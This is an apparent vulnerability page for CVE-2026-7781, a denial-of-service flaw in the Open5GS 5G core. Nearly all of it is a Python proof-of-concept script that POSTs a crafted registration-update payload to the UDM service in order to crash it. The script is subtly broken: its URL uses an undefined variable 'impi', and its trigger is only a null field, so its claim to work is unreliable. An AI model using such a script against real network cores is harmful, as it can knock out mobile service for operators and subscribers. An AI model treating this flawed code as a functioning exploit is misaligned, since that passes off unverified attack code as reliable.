CVE-2026-7781 Open5GS 拒绝服务漏洞

import requests import json # Conceptual PoC for CVE-2026-7781 # This script attempts to trigger the DoS in Open5GS UDM handler def trigger_dos(target_ip, target_port): # Construct the malicious request based on the vulnerable endpoint context url = f"http://{target_ip}:{target_port}/nudm-uecm/v1/{impi}" headers = { "Content-Type": "application/json" } # Malicious payload designed to crash udm_nudm_uecm_handle_amf_registration_update payload = { "amfInstanceId": "exploit_cve_2026_7781", "guami": { "plmnId": {"mcc": "999", "mnc": "99"}, "amfId": "cafe00" }, "ratType": "NR", # Specific malformed data to trigger the vulnerability "ueContext": None } try: print(f"Sending payload to {url}...") response = requests.post(url, headers=headers, data=json.dumps(payload), timeout=5) print(f"Response Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"Connection failed or target crashed: {e}") if __name__ == "__main__": # Replace with actual target details trigger_dos("127.0.0.1", 8000)